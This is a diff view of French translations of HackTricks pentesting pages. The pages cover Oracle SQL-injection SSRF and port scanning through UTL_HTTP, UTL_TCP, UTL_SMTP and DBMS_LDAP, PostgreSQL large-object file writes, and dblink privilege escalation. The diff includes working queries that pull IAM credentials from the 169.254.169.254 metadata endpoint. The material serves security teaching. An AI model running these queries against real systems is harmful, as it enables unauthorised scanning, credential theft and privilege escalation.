|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,37 +2,37 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
**Servez une copie de cette publication à partir d'une machine à remonter le temps du post supprimé de [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
|
||||
**Servez une copie de cette publication à partir d'une machine à remonter le temps du post supprimé sur [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
|
||||
|
||||
## SSRF
|
||||
|
||||
Utiliser Oracle pour effectuer des requêtes HTTP et DNS hors bande est bien documenté, mais comme moyen d'exfiltrer des données SQL dans des injections. Nous pouvons toujours modifier ces techniques/fonctions pour effectuer d'autres SSRF/XSPA.
|
||||
|
||||
Installer Oracle peut être vraiment douloureux, surtout si vous voulez configurer rapidement une instance pour essayer des commandes. Mon ami et collègue chez [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), m'a dirigé vers [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) qui m'a permis de configurer une instance sur une machine AWS Ubuntu t2.large et Docker.
|
||||
L'installation d'Oracle peut être vraiment douloureuse, surtout si vous voulez configurer une instance rapidement pour essayer des commandes. Mon ami et collègue chez [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), m'a dirigé vers [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) qui m'a permis de configurer une instance sur une machine AWS Ubuntu t2.large et Docker.
|
||||
|
||||
J'ai exécuté la commande docker avec le drapeau `--network="host"` pour pouvoir imiter Oracle comme une installation native avec un accès réseau complet, pour la durée de ce billet de blog.
|
||||
J'ai exécuté la commande docker avec le drapeau `--network="host"` afin de pouvoir imiter Oracle comme une installation native avec un accès réseau complet, pour la durée de ce billet de blog.
|
||||
```
|
||||
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
|
||||
```
|
||||
#### Packages Oracle prenant en charge une URL ou une spécification Nom d'hôte/Numéro de port <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
|
||||
#### Packages Oracle prenant en charge une spécification d'URL ou de nom d'hôte/numéro de port <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
|
||||
|
||||
Afin de trouver des packages et des fonctions prenant en charge une spécification de nom d'hôte et de port, j'ai effectué une recherche sur Google dans la [Documentation en ligne d'Oracle Database](https://docs.oracle.com/database/121/index.html). Plus précisément,
|
||||
Pour trouver des packages et des fonctions prenant en charge une spécification d'hôte et de port, j'ai effectué une recherche sur [la documentation en ligne de la base de données Oracle](https://docs.oracle.com/database/121/index.html). Plus précisément,
|
||||
```
|
||||
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
|
||||
```
|
||||
La recherche a renvoyé les résultats suivants (tous ne peuvent pas être utilisés pour effectuer des requêtes sortantes sur le réseau) :
|
||||
La recherche a renvoyé les résultats suivants (tous ne peuvent pas être utilisés pour effectuer des requêtes sortantes sur le réseau)
|
||||
|
||||
* DBMS\_NETWORK\_ACL\_ADMIN
|
||||
* UTL\_SMTP
|
||||
|
@ -49,7 +49,7 @@ La recherche a renvoyé les résultats suivants (tous ne peuvent pas être utili
|
|||
* DBMS\_STREAMS\_ADM
|
||||
* UTL\_HTTP
|
||||
|
||||
Cette recherche sommaire omet évidemment des packages comme `DBMS_LDAP` (qui permet de passer un nom d'hôte et un numéro de port) car [la page de documentation](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) vous redirige simplement vers un [emplacement différent](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Par conséquent, il peut y avoir d'autres packages Oracle qui peuvent être utilisés de manière abusive pour effectuer des requêtes sortantes que j'aurais pu manquer.
|
||||
Cette recherche sommaire ignore évidemment des packages comme `DBMS_LDAP` (qui permet de passer un nom d'hôte et un numéro de port) car [la page de documentation](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) vous redirige simplement vers un [emplacement différent](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Par conséquent, il peut y avoir d'autres packages Oracle qui peuvent être utilisés de manière abusive pour effectuer des requêtes sortantes que j'aurais pu manquer.
|
||||
|
||||
En tout cas, examinons certains des packages que nous avons découverts et énumérés ci-dessus.
|
||||
|
||||
|
@ -70,11 +70,11 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
|
|||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
|
||||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
|
||||
```
|
||||
Une `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indique que le port est fermé alors qu'une valeur de session indique que le port est ouvert.
|
||||
Un `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indique que le port est fermé alors qu'une valeur de session indique que le port est ouvert.
|
||||
|
||||
**UTL\_SMTP**
|
||||
|
||||
Le package `UTL_SMTP` est conçu pour l'envoi d'e-mails via SMTP. L'exemple fourni sur le [site de documentation d'Oracle montre comment vous pouvez utiliser ce package pour envoyer un e-mail](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Pour nous, cependant, l'élément intéressant est la possibilité de spécifier un hôte et un port.
|
||||
Le package `UTL_SMTP` est conçu pour l'envoi d'e-mails via SMTP. L'exemple fourni sur le [site de documentation d'Oracle montre comment vous pouvez utiliser ce package pour envoyer un e-mail](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Pour nous, cependant, l'élément intéressant est la capacité de spécifier un hôte et un port.
|
||||
|
||||
Un exemple rudimentaire est présenté ci-dessous avec la fonction `UTL_SMTP.OPEN_CONNECTION`, avec un délai d'attente de 2 secondes.
|
||||
```
|
||||
|
@ -90,11 +90,11 @@ BEGIN
|
|||
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
|
||||
END;
|
||||
```
|
||||
Un `ORA-29276: délai de transfert dépassé` indique que le port est ouvert mais aucune connexion SMTP n'a été établie, tandis qu'un `ORA-29278: erreur transitoire SMTP: 421 Service non disponible` indique que le port est fermé.
|
||||
Un `ORA-29276: délai de transfert` indique que le port est ouvert mais aucune connexion SMTP n'a été établie tandis qu'un `ORA-29278: erreur transitoire SMTP: 421 Service non disponible` indique que le port est fermé.
|
||||
|
||||
**UTL\_TCP**
|
||||
|
||||
Le package `UTL_TCP` et ses procédures et fonctions permettent [la communication basée sur TCP/IP avec des services](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). S'il est programmé pour un service spécifique, ce package peut facilement devenir un moyen d'accès au réseau ou effectuer des requêtes côté serveur complet car tous les aspects d'une connexion TCP/IP peuvent être contrôlés.
|
||||
Le package `UTL_TCP` et ses procédures et fonctions permettent [la communication basée sur TCP/IP avec des services](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). S'il est programmé pour un service spécifique, ce package peut facilement devenir un moyen d'accès au réseau ou effectuer des requêtes côté serveur complètes car tous les aspects d'une connexion TCP/IP peuvent être contrôlés.
|
||||
|
||||
L'exemple [sur le site de documentation d'Oracle montre comment vous pouvez utiliser ce package pour établir une connexion TCP brute pour récupérer une page web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Nous pouvons le simplifier un peu plus et l'utiliser pour effectuer des requêtes vers l'instance de métadonnées par exemple ou vers un service TCP/IP arbitraire.
|
||||
```
|
||||
|
@ -136,15 +136,15 @@ END;
|
|||
utl_tcp.close_connection(c);
|
||||
END;
|
||||
```
|
||||
Intéressant, en raison de la capacité à créer des requêtes TCP brutes, ce package peut également être utilisé pour interroger le service de métadonnées de l'instance de tous les fournisseurs de cloud, car le type de méthode et les en-têtes supplémentaires peuvent tous être transmis dans la requête TCP.
|
||||
Intéressant, en raison de la capacité à créer des requêtes TCP brutes, ce package peut également être utilisé pour interroger le service de métadonnées de l'instance de tous les fournisseurs de cloud car le type de méthode et les en-têtes supplémentaires peuvent tous être transmis dans la requête TCP.
|
||||
|
||||
**UTL_HTTP et les requêtes Web**
|
||||
**UTL\_HTTP et les requêtes Web**
|
||||
|
||||
Peut-être la technique la plus courante et largement documentée dans tous les tutoriels sur l'injection SQL Oracle hors bande est le [package `UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Ce package est défini par la documentation comme - `Le package UTL_HTTP effectue des appels Hypertext Transfer Protocol (HTTP) depuis SQL et PL/SQL. Vous pouvez l'utiliser pour accéder à des données sur Internet via HTTP.`
|
||||
Peut-être la technique la plus courante et largement documentée dans chaque tutoriel d'injection SQL Oracle hors bande est le [package `UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Ce package est défini par la documentation comme - `Le package UTL_HTTP effectue des appels Hypertext Transfer Protocol (HTTP) depuis SQL et PL/SQL. Vous pouvez l'utiliser pour accéder à des données sur Internet via HTTP.`
|
||||
```
|
||||
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
||||
```
|
||||
Vous pouvez également utiliser ceci pour effectuer un balayage de ports rudimentaire avec des requêtes comme suit
|
||||
Vous pourriez également utiliser ceci pour effectuer une analyse de port rudimentaire avec des requêtes comme
|
||||
```
|
||||
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
|
||||
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
|
||||
|
@ -152,7 +152,7 @@ select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
|
|||
```
|
||||
Un `ORA-12541: TNS:no listener` ou un `TNS:operation timed out` est un signe que le port TCP est fermé, tandis qu'un `ORA-29263: HTTP protocol error` ou des données sont un signe que le port est ouvert.
|
||||
|
||||
Un autre package que j'ai utilisé dans le passé avec un succès varié est la méthode [`GETCLOB()` du type abstrait Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) qui vous permet d'interagir avec une URL et offre un support pour le protocole HTTP. La méthode `GETCLOB()` est utilisée pour récupérer la réponse GET d'une URL en tant que [type de données CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|
||||
Un autre package que j'ai utilisé dans le passé avec un succès varié est la [méthode `GETCLOB()` du type abstrait Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) qui vous permet d'interagir avec une URL et offre un support pour le protocole HTTP. La méthode `GETCLOB()` est utilisée pour récupérer la réponse GET d'une URL en tant que [type de données CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -163,7 +163,7 @@ Autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,14 +7,14 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
### Objets volumineux PostgreSQL
|
||||
|
||||
PostgreSQL propose une structure appelée **objets volumineux**, accessible via la table `pg_largeobject`, conçue pour stocker des types de données volumineux, tels que des images ou des documents PDF. Cette approche est avantageuse par rapport à la fonction `COPY TO` car elle permet l'**exportation des données vers le système de fichiers**, garantissant une réplique exacte du fichier d'origine.
|
||||
PostgreSQL propose une structure appelée **grands objets**, accessible via la table `pg_largeobject`, conçue pour stocker des types de données volumineux, tels que des images ou des documents PDF. Cette approche est avantageuse par rapport à la fonction `COPY TO` car elle permet l'**exportation des données vers le système de fichiers**, garantissant une réplique exacte du fichier d'origine.
|
||||
|
||||
Pour **stocker un fichier complet** dans cette table, un objet doit être créé dans la table `pg_largeobject` (identifié par un LOID), suivi de l'insertion de morceaux de données, chacun de 2 Ko, dans cet objet. Il est crucial que ces morceaux fassent exactement 2 Ko (à l'exception éventuelle du dernier morceau) pour garantir le bon fonctionnement de la fonction d'exportation.
|
||||
|
||||
|
@ -76,14 +76,14 @@ Il est noté que **les grands objets peuvent avoir des ACL** (Listes de Contrôl
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,8 +8,8 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -27,8 +27,8 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -15,7 +15,7 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
**Trouvez [plus d'informations sur ces attaques dans le document original](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
|
||||
|
||||
Depuis **PostgreSQL 9.1**, l'installation de modules supplémentaires est simple. [Les extensions enregistrées comme `dblink`](https://www.postgresql.org/docs/current/contrib.html) peuvent être installées avec [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
|
||||
Depuis **PostgreSQL 9.1**, l'installation de modules supplémentaires est simple. Les [extensions enregistrées comme `dblink`](https://www.postgresql.org/docs/current/contrib.html) peuvent être installées avec [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
|
||||
```sql
|
||||
CREATE EXTENSION dblink;
|
||||
```
|
||||
|
@ -36,7 +36,7 @@ Une autre mauvaise configuration possible consiste en quelque chose comme ceci :
|
|||
```
|
||||
host all all 127.0.0.1/32 trust
|
||||
```
|
||||
Comme cela permettra à tout le monde depuis l'hôte local de se connecter à la base de données en tant qu'utilisateur.\
|
||||
Comme cela permettra à tout le monde depuis le localhost de se connecter à la base de données en tant qu'utilisateur.\
|
||||
Dans ce cas et si la fonction **`dblink`** fonctionne, vous pourriez **escalader les privilèges** en vous connectant à la base de données via une connexion déjà établie et accéder à des données auxquelles vous ne devriez pas pouvoir accéder:
|
||||
```sql
|
||||
SELECT * FROM dblink('host=127.0.0.1
|
||||
|
@ -107,14 +107,14 @@ SELECT testfunc();
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue